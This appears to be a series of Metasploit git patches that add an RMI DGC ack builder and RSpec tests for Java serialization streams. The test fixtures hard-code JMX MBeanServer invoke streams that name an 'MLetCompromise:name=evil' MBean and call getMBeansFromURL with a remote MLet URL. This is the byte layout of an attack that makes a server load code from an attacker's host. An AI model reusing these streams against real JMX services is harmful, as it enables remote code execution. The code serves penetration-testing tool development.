Rex::Proto::Rmi::Model::DBG_ACK_MESSAGE + dbg_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE dbg_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" expect(dbg_ack.encode).to eq(sample) From 43519642903c80fccb4d26fcce1061f070c21498 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Jan 2015 10:46:14 -0600 Subject: [PATCH 032/103] Change module filename --- lib/rex/proto/rmi/model/{dgc_ack_spec.rb => dgc_ack.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename lib/rex/proto/rmi/model/{dgc_ack_spec.rb => dgc_ack.rb} (100%) diff --git a/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/lib/rex/proto/rmi/model/dgc_ack.rb similarity index 100% rename from lib/rex/proto/rmi/model/dgc_ack_spec.rb rename to lib/rex/proto/rmi/model/dgc_ack.rb From 0babde8c1ad4a295b7dbb16c56b52af29a6fa8a5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Jan 2015 10:48:23 -0600 Subject: [PATCH 033/103] Fix specs --- lib/rex/proto/rmi/model/dgc_ack.rb | 4 ++-- spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb | 18 +++++++++--------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/lib/rex/proto/rmi/model/dgc_ack.rb b/lib/rex/proto/rmi/model/dgc_ack.rb index df1086c140..ab1eee9889 100644 --- a/lib/rex/proto/rmi/model/dgc_ack.rb +++ b/lib/rex/proto/rmi/model/dgc_ack.rb @@ -25,8 +25,8 @@ module Rex # @raise [RuntimeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) - unless stream_id == DBG_ACK_MESSAGE - raise ::RuntimeError, 'Failed to decode DbgAck stream id' + unless stream_id == DGC_ACK_MESSAGE + raise ::RuntimeError, 'Failed to decode DgcAck stream id' end stream_id diff --git a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb index 5844d7c48d..45163f172e 100644 --- a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -6,7 +6,7 @@ require 'rex/proto/rmi' describe Rex::Proto::Rmi::Model::DgcAck do - subject(:dbg_ack) do + subject(:dgc_ack) do described_class.new end @@ -18,26 +18,26 @@ describe Rex::Proto::Rmi::Model::DgcAck do describe "#decode" do it "returns the Rex::Proto::Rmi::Model::DgcAck decoded" do - expect(dbg_ack.decode(sample_io)).to eq(dbg_ack) + expect(dgc_ack.decode(sample_io)).to eq(dgc_ack) end it "decodes stream_id correctly" do - dbg_ack.decode(sample_io) - expect(dbg_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE) + dgc_ack.decode(sample_io) + expect(dgc_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE) end it "decodes address correctly" do - dbg_ack.decode(sample_io) - expect(dbg_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17") + dgc_ack.decode(sample_io) + expect(dgc_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17") end end describe "#encode" do it "encodes the DbgAck correctly" do - dbg_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE - dbg_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + dgc_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + dgc_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" - expect(dbg_ack.encode).to eq(sample) + expect(dgc_ack.encode).to eq(sample) end end end From ad082bc1af0ce116fd882d66fb1362a7132771f8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Jan 2015 11:02:16 -0600 Subject: [PATCH 034/103] Add specs for build_dgc_ack --- lib/msf/rmi/client.rb | 12 +++++++++ lib/msf/rmi/client/streams.rb | 18 +++++++++++++ spec/lib/msf/rmi/client/streams_spec.rb | 34 +++++++++++++++++++++++-- 3 files changed, 62 insertions(+), 2 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index bff56c25fa..c99c371e0b 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -57,6 +57,18 @@ module Msf nsock.put(stream.encode) end + # Sends a RMI DGCACK stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_dgc_ack + def send_dgc_ack(opts = {}) + nsock = opts[:sock] || sock + stream = build_dgc_ack(opts) + nsock.put(stream.encode) + end + # Reads the Protocol Ack # # @param opts [Hash] diff --git a/lib/msf/rmi/client/streams.rb b/lib/msf/rmi/client/streams.rb index b147e891f8..40dc748da5 100644 --- a/lib/msf/rmi/client/streams.rb +++ b/lib/msf/rmi/client/streams.rb @@ -45,6 +45,24 @@ module Msf call end + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + # Builds a call data (serializated) stream) as used by Michael Schierl (@mihi42) # to achieve arbitrary code execution through the RMI garbage collector loading # arbitrary classes diff --git a/spec/lib/msf/rmi/client/streams_spec.rb b/spec/lib/msf/rmi/client/streams_spec.rb index 9e03e721e6..bf66cf61f6 100644 --- a/spec/lib/msf/rmi/client/streams_spec.rb +++ b/spec/lib/msf/rmi/client/streams_spec.rb @@ -30,6 +30,14 @@ describe Msf::Rmi::Client::Streams do end let(:opts_call) { "\x52\xac\xed\x00\x05" } + let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" } + let(:dgc_ack_opts) do + { + :unique_identifier => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" + } + end + let(:opts_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" } + let(:file_jar) { 'file:RMIClassLoaderSecurityTest/test.jar' } let(:call_gc) do @@ -85,13 +93,35 @@ describe Msf::Rmi::Client::Streams do expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call) end - it "creates a OutputHeader with data from opts" do + it "creates a Call with data from opts" do expect(mod.build_call(call_opts).encode).to eq(opts_call) end end end - describe "#build_call" do + describe "#build_dgc_ack" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a default Call" do + expect(mod.build_dgc_ack.encode).to eq(default_dgc_ack) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack(dgc_ack_opts)).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a DgcAck with data from opts" do + expect(mod.build_dgc_ack(dgc_ack_opts).encode).to eq(opts_dgc_ack) + end + end + end + + describe "#build_gc_call_data" do context "when using test file: jar" do it "creates a correct stream" do expect(mod.build_gc_call_data(file_jar).encode).to eq(call_gc) From 36b2771564ba0aefaf16f386da3cedb36985d801 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Jan 2015 11:06:08 -0600 Subject: [PATCH 035/103] Add spec for send_dgc_ack --- spec/lib/msf/rmi/client_spec.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/spec/lib/msf/rmi/client_spec.rb b/spec/lib/msf/rmi/client_spec.rb index 6f27918cf6..37dfca78d3 100644 --- a/spec/lib/msf/rmi/client_spec.rb +++ b/spec/lib/msf/rmi/client_spec.rb @@ -63,6 +63,11 @@ describe Msf::Rmi::Client do end end + describe "#send_dgc_ack" do + it "returns the number of bytes sent" do + expect(mod.send_dgc_ack(sock: io)).to eq(15) + end + end describe "#recv_protocol_ack" do context "when end point returns protocol ack" do From 915df2029df7d949857241519a1733cd2b691f07 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Jan 2015 18:35:54 -0600 Subject: [PATCH 036/103] Add stream spec --- .../java/serialization/model/stream_spec.rb | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 015d0af021..52e2c47884 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -131,6 +131,17 @@ describe Rex::Java::Serialization::Model::Stream do "\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00" end + let(:mbean_call) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + describe ".new" do it "Rex::Java::Serialization::Model::Stream" do expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) @@ -336,6 +347,43 @@ describe Rex::Java::Serialization::Model::Stream do expect(stream.encode).to eq(rmi_call) end end + + context "when serializing a MBeanServerConnection.getObjectInstance call data" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03" + block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + expect(stream.encode).to eq(mbean_call) + + end + end end end \ No newline at end of file From a5ae2aadeedebc4f546ffa45f31c2548069de53f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 14 Jan 2015 11:44:39 -0600 Subject: [PATCH 037/103] Add spec for MBeanServerConnection.invoke stream --- .../java/serialization/model/stream_spec.rb | 154 ++++++++++++++++++ 1 file changed, 154 insertions(+) diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 52e2c47884..05664985c5 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -142,6 +142,33 @@ describe Rex::Java::Serialization::Model::Stream do "\x2c\x69\x64\x3d\x31\x78\x70" end + let(:mbean_invoke) do + "\xac\xed\x00\x05\x77\x22\xe3\xba\xbd\x14\xa0\x0e\x72\x74\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x2e\xff\xff\xff\xff" + + "\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x17\x44\x65\x66\x61\x75\x6c\x74\x44" + + "\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70\x65\x3d\x4d\x4c\x65\x74\x78" + + "\x74\x00\x10\x67\x65\x74\x4d\x42\x65\x61\x6e\x73\x46\x72\x6f\x6d" + + "\x55\x52\x4c\x73\x72\x00\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + + "\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74" + + "\x7c\xbd\x1e\x97\xed\x63\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61" + + "\x73\x68\x5b\x00\x08\x6c\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02" + + "\x5b\x42\x5b\x00\x08\x6f\x62\x6a\x42\x79\x74\x65\x73\x71\x00\x7e" + + "\x00\x05\x70\x78\x70\x72\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42" + + "\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00" + + "\x00\x4e\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58" + + "\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00" + + "\x1f\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31" + + "\x35\x38\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" + + "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" + + "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02" + + "\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x70" + end + describe ".new" do it "Rex::Java::Serialization::Model::Stream" do expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) @@ -384,6 +411,133 @@ describe Rex::Java::Serialization::Model::Stream do end end + + context "when serializing a MBeanServerConnection.invoke call data" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\xe3\xba\xbd\x14\xa0\x0e\x72\x74\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x2e" + block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'DefaultDomain:type=MLet') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'getMBeansFromURL') + + marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject') + marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e + marshall_object_class_desc.flags = 2 + marshall_object_class_desc.fields = [ + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new + ] + + marshall_object_class_desc.fields[0].type = 'int' + marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash') + + marshall_object_class_desc.fields[1].type = 'array' + marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes') + marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + + marshall_object_class_desc.fields[2].type = 'array' + marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes') + marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + + marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + marshall_object_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + + data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + data_binary_class_desc.serial_version = 0xacf317f8060854e0 + data_binary_class_desc.flags = 2 + data_binary_class_desc.fields = [] + data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + data_binary_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + data_binary = Rex::Java::Serialization::Model::NewArray.new + data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new + data_binary.array_description.description = data_binary_class_desc + data_binary.type = 'byte' + # TODO: look into it + data_binary.values = [-84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 1, 116, 0, 31, 104, 116, 116, 112, 58, 47, 47, 49, 55, 50, 46, 49, 54, 46, 49, 53, 56, 46, 49, 51, 50, 58, 52, 49, 52, 49, 47, 109, 108, 101, 116] + + marshall_object = Rex::Java::Serialization::Model::NewObject.new + marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + marshall_object.class_desc.description = marshall_object_class_desc + marshall_object.class_data = [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + + stream.contents << marshall_object + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') + new_array_class_desc.serial_version = 0xadd256e7e91d7b47 + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.String;' + new_array.values = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') + ] + + stream.contents << new_array + + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + f = File.new('/tmp/test.bin', 'wb') + f.write(stream.encode) + f.close + + expect(stream.encode).to eq(mbean_invoke) + end + end end end \ No newline at end of file From 70c99748acc29a76fde4e7d85bd60e16574cd212 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 14 Jan 2015 12:05:18 -0600 Subject: [PATCH 038/103] Add Stream spec for marshalled argument --- .../java/serialization/model/stream_spec.rb | 91 +++++++++++++------ 1 file changed, 63 insertions(+), 28 deletions(-) diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 05664985c5..717d501f49 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -143,30 +143,38 @@ describe Rex::Java::Serialization::Model::Stream do end let(:mbean_invoke) do - "\xac\xed\x00\x05\x77\x22\xe3\xba\xbd\x14\xa0\x0e\x72\x74\x4a\x7d" + - "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x2e\xff\xff\xff\xff" + - "\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x17\x44\x65\x66\x61\x75\x6c\x74\x44" + - "\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70\x65\x3d\x4d\x4c\x65\x74\x78" + - "\x74\x00\x10\x67\x65\x74\x4d\x42\x65\x61\x6e\x73\x46\x72\x6f\x6d" + - "\x55\x52\x4c\x73\x72\x00\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + - "\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74" + - "\x7c\xbd\x1e\x97\xed\x63\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61" + - "\x73\x68\x5b\x00\x08\x6c\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02" + - "\x5b\x42\x5b\x00\x08\x6f\x62\x6a\x42\x79\x74\x65\x73\x71\x00\x7e" + - "\x00\x05\x70\x78\x70\x72\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42" + - "\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00" + - "\x00\x4e\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58" + - "\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00" + - "\x1f\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31" + - "\x35\x38\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" + - "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" + - "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02" + - "\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x70" + "\xac\xed\x00\x05\x77\x22\xe3\xba\xbd\x14\xa0\x0e\x72\x74\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x2e\xff\xff\xff\xff" + + "\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x17\x44\x65\x66\x61\x75\x6c\x74\x44" + + "\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70\x65\x3d\x4d\x4c\x65\x74\x78" + + "\x74\x00\x10\x67\x65\x74\x4d\x42\x65\x61\x6e\x73\x46\x72\x6f\x6d" + + "\x55\x52\x4c\x73\x72\x00\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + + "\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74" + + "\x7c\xbd\x1e\x97\xed\x63\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61" + + "\x73\x68\x5b\x00\x08\x6c\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02" + + "\x5b\x42\x5b\x00\x08\x6f\x62\x6a\x42\x79\x74\x65\x73\x71\x00\x7e" + + "\x00\x05\x70\x78\x70\x72\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42" + + "\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00" + + "\x00\x4e\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58" + + "\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00" + + "\x1f\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31" + + "\x35\x38\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" + + "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" + + "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02" + + "\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x70" + end + + let(:marshalled_argument) do + "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + + "\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" + + "\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" + + "\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" + + "\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" end describe ".new" do @@ -531,13 +539,40 @@ describe Rex::Java::Serialization::Model::Stream do stream.contents << Rex::Java::Serialization::Model::NullReference.new - f = File.new('/tmp/test.bin', 'wb') - f.write(stream.encode) - f.close - expect(stream.encode).to eq(mbean_invoke) end end + + context "when serializing a marshalled argument" do + it "serializes the stream correctly" do + stream = Rex::Java::Serialization::Model::Stream.new + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') + new_array_class_desc.serial_version = 0x90ce589f1073296c + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.Object;' + new_array.values = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet') + ] + + stream.contents << new_array + + expect(stream.encode).to eq(marshalled_argument) + end + end + end end \ No newline at end of file From 621cada2acb1dd6562086fb5769a245945d1c589 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 14 Jan 2015 16:47:28 -0600 Subject: [PATCH 039/103] 